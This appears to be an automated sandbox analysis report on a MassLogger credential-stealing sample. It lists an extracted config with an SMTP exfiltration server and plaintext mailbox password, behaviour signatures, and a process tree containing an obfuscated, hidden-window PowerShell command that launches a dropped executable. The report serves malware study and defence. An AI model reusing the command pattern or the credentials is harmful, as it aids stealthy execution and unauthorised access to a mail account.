Analysis
- max time kernel
149s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
10/09/2026, 10:33
General
- Target 1ccf47d19e5181c626bf6ad2bad6e95051a3281e9234b3202906bbd8aadd79a4.exe
- Size 906KB
- Sample260910-mlny2abj2t
- SHA256 1ccf47d19e5181c626bf6ad2bad6e95051a3281e9234b3202906bbd8aadd79a4
Malware Config
Extracted
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Protocol
smtp
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Host
mail.atf-transformer.af
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Port
587
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Username
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Password
@tf0794888229
Extracted
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masslogger
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exfiltration_mode
#SMTPEnabled
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expire_time_date
00-00-0000
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host_password
@tf0794888229
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host_port
587
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host_receiver
result box: [email protected]
- host_sender
-
host_server
mail.atf-transformer.af
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ssl_slate
False
Signatures
- Family: MassLogger
Masslogger is a .NET stealer targeting passwords from browsers, email and cryptocurrency clients.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Executes dropped EXE 1 IoCs
- Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Looks up external IP address via web service 1 TTPs 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Suspicious use of SetThreadContext 2 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 4 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 11 IoCs
- Suspicious use of AdjustPrivilegeToken 5 IoCs
- Suspicious use of WriteProcessMemory 13 IoCs
- outlook_office_path 1 IoCs
- outlook_win_path 1 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\1ccf47d19e5181c626bf6ad2bad6e95051a3281e9234b3202906bbd8aadd79a4.exe"C:\Users\Admin\AppData\Local\Temp\1ccf47d19e5181c626bf6ad2bad6e95051a3281e9234b3202906bbd8aadd79a4.exe"1⤵
- Adds Run key to start application
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"2⤵
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"2⤵
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
-
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C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$u0vs14=[System.Environment]::TickCount;$usnqeh=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('U3RhcnQtUHJvY2Vzcw==')));$u0vs14=[System.Environment]::TickCount;$4aap4q=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXGxMdFZva2F2bFBVWS5leGU=')));$u0vs14=[System.Environment]::TickCount;& $usnqeh -FilePath $4aap4q"1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Roaming\lLtVokavlPUY.exe"C:\Users\Admin\AppData\Roaming\lLtVokavlPUY.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"3⤵
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
__PSScriptPolicyTest_51ehosi5.n3g.ps1
lLtVokavlPUY.exe
memory/1500-18-0x000002202C1C0000-0x000002202C1D0000-memory.dmp
memory/1500-19-0x000002202C0F0000-0x000002202C112000-memory.dmp
memory/1500-17-0x000002202C1C0000-0x000002202C1D0000-memory.dmp
memory/3264-31-0x00000000058C0000-0x0000000005C14000-memory.dmp
memory/3836-5-0x0000000005130000-0x0000000005140000-memory.dmp
memory/3836-6-0x0000000005060000-0x000000000506A000-memory.dmp
memory/3836-8-0x0000000005130000-0x0000000005140000-memory.dmp
memory/3836-9-0x0000000006C90000-0x0000000006D2C000-memory.dmp
memory/3836-10-0x0000000007090000-0x0000000007140000-memory.dmp
memory/3836-1-0x0000000005640000-0x0000000005BE4000-memory.dmp
memory/3836-2-0x0000000004F90000-0x0000000005022000-memory.dmp
memory/3836-7-0x0000000006770000-0x0000000006790000-memory.dmp
memory/3836-0-0x0000000000440000-0x0000000000528000-memory.dmp
memory/3836-4-0x0000000004F20000-0x0000000004F42000-memory.dmp
memory/3836-3-0x0000000005140000-0x0000000005494000-memory.dmp
memory/4996-16-0x0000000005250000-0x0000000005260000-memory.dmp
memory/4996-14-0x0000000000400000-0x000000000041E000-memory.dmp
memory/4996-32-0x0000000005250000-0x0000000005260000-memory.dmp
memory/4996-35-0x0000000000ED0000-0x0000000000F20000-memory.dmp
memory/4996-36-0x00000000061F0000-0x00000000063B2000-memory.dmp